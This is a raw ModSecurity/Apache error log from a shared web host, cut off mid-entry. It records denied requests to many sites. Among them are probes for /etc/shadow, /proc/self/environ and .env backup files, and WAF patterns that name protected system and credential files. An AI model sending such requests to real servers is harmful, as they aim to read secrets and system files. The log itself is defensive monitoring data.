86.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x_8TA7b1mZrmcA-86AwACjkA"] [Sat Jun 13 18:12:47.914096 2026] [security2:error] [pid 531155:tid 531241] [remote 185.177.72.9:5974] ModSecurity: Access denied with connection close (phase 1). Pattern match "proc/self/environ" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1161"] [id "999997"] [msg "proc environ"] [hostname "bradgoreski.co"] [uri "/proc/self/environ"] [unique_id "ai3x_ymiP80klyS0NnoGmwABD1U"] [Sat Jun 13 18:12:48.023016 2026] [security2:error] [pid 531797:tid 531996] [client 192.185.4.147:32270] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "www.gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3x_8TA7b1mZrmcA-86BAACFCk"], referer: https://www.gkmasterson.com/wp-login.php [Sat Jun 13 18:12:48.051300 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:12:48.051778 2026] [access_compat:error] [pid 531155:tid 531263] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL3N1YnN5c3RlbS9pbnB1dDYvaWQ= [Sat Jun 13 18:12:48.099080 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.55:52707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:48.099525 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.55:52707] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:48.164647 2026] [security2:error] [pid 531797:tid 531896] [remote 17.241.75.60:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 60.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yAMTA7b1mZrmcA-86DAACjyA"] [Sat Jun 13 18:12:48.292642 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.22:56852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:48.292918 2026] [access_compat:error] [pid 531155:tid 531231] [remote 57.141.14.22:56852] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:48.324597 2026] [security2:error] [pid 531797:tid 531955] [remote 185.177.72.9:5988] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/shadow"] [unique_id "ai3yAMTA7b1mZrmcA-86DgACX1s"] [Sat Jun 13 18:12:48.355856 2026] [security2:error] [pid 531155:tid 531214] [remote 17.246.19.83:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 83.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yACmiP80klyS0NnoGqwABUDo"] [Sat Jun 13 18:12:48.376225 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.106:54147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:48.376679 2026] [access_compat:error] [pid 531797:tid 531933] [remote 57.141.14.106:54147] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:48.427785 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.77:43673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:48.428096 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.77:43673] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:48.537585 2026] [security2:error] [pid 531155:tid 531267] [remote 17.22.237.193:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 193.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yACmiP80klyS0NnoGsgABN28"] [Sat Jun 13 18:12:48.576487 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAwL3Bvd2Vy [Sat Jun 13 18:12:48.576949 2026] [access_compat:error] [pid 531155:tid 531227] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2UvZHJpdmVyL0xOWFNMUEJOOjAwL3Bvd2Vy [Sat Jun 13 18:12:48.734165 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.110:61718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:48.734543 2026] [access_compat:error] [pid 531797:tid 531959] [remote 57.141.14.110:61718] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:48.877965 2026] [security2:error] [pid 531797:tid 531922] [remote 185.177.72.9:5988] ModSecurity: Access denied with connection close (phase 1). Pattern match "proc/self/environ" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1161"] [id "999997"] [msg "proc environ"] [hostname "bradgoreski.co"] [uri "/proc/self/environ"] [unique_id "ai3yAMTA7b1mZrmcA-86HAACSzo"] [Sat Jun 13 18:12:49.101035 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:12:49.101319 2026] [access_compat:error] [pid 531155:tid 531195] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:12:49.280518 2026] [security2:error] [pid 531797:tid 531917] [remote 185.177.72.9:5996] ModSecurity: Access denied with connection close (phase 1). Pattern match "proc/self/environ" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1161"] [id "999997"] [msg "proc environ"] [hostname "bradgoreski.co"] [uri "/proc/self/environ"] [unique_id "ai3yAcTA7b1mZrmcA-86LgACYzU"] [Sat Jun 13 18:12:49.293487 2026] [security2:error] [pid 531155:tid 531329] [client 43.160.219.138:46540] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.219.160.43.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.evaccfoundation.org"] [uri "/index.php/en/home/"] [unique_id "ai3yASmiP80klyS0NnoG0AAAATY"], referer: https://evaccfoundation.org/ [Sat Jun 13 18:12:49.312785 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.84:44460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:49.313154 2026] [access_compat:error] [pid 531797:tid 531962] [remote 57.141.14.84:44460] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:49.438618 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.72:24625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:49.439082 2026] [access_compat:error] [pid 531155:tid 531279] [remote 57.141.14.72:24625] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:49.470643 2026] [security2:error] [pid 531797:tid 532117] [client 103.146.202.144:39026] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/.env.backup"] [unique_id "ai3yAcTA7b1mZrmcA-86MwAAAoo"] [Sat Jun 13 18:12:49.637966 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:49.638259 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:12:49.697977 2026] [security2:error] [pid 531797:tid 532032] [client 103.146.202.144:39026] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/.env.bak"] [unique_id "ai3yAcTA7b1mZrmcA-86OgAAAjc"] [Sat Jun 13 18:12:49.742234 2026] [security2:error] [pid 531797:tid 532056] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/class_exists_basic_001.phpt"] [unique_id "ai3yAcTA7b1mZrmcA-86PAAAAk4"] [Sat Jun 13 18:12:49.808576 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.80:36693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:49.809033 2026] [access_compat:error] [pid 531155:tid 531254] [remote 57.141.14.80:36693] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:49.850123 2026] [security2:error] [pid 531797:tid 532066] [client 172.56.168.133:48516] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yAcTA7b1mZrmcA-86QAAAAlg"] [Sat Jun 13 18:12:49.850260 2026] [security2:error] [pid 531797:tid 532066] [client 172.56.168.133:48516] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3yAcTA7b1mZrmcA-86QAAAAlg"] [Sat Jun 13 18:12:49.856369 2026] [security2:error] [pid 531155:tid 531242] [remote 17.22.253.172:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 172.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yASmiP80klyS0NnoG5gABh1Y"] [Sat Jun 13 18:12:49.915880 2026] [security2:error] [pid 531797:tid 531953] [remote 17.241.75.135:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 135.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yAcTA7b1mZrmcA-86QgACWVk"] [Sat Jun 13 18:12:49.948494 2026] [security2:error] [pid 531797:tid 532090] [client 103.146.202.144:39026] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "autodiscover.dzv.hsu.mybluehost.me"] [uri "/.env.old"] [unique_id "ai3yAcTA7b1mZrmcA-86RAAAAm8"] [Sat Jun 13 18:12:50.171145 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:50.171422 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:12:50.502471 2026] [security2:error] [pid 531797:tid 532086] [client 5.255.231.45:64170] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3yAsTA7b1mZrmcA-86WwAAAmw"] [Sat Jun 13 18:12:50.562957 2026] [security2:error] [pid 531155:tid 531205] [remote 17.22.237.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yAimiP80klyS0NnoHAQABIzE"] [Sat Jun 13 18:12:50.621613 2026] [security2:error] [pid 531797:tid 531903] [remote 17.246.19.143:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 143.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yAsTA7b1mZrmcA-86XQACXic"] [Sat Jun 13 18:12:50.722187 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:50.722457 2026] [access_compat:error] [pid 531155:tid 531248] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50NS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:12:50.893262 2026] [security2:error] [pid 531797:tid 531984] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file 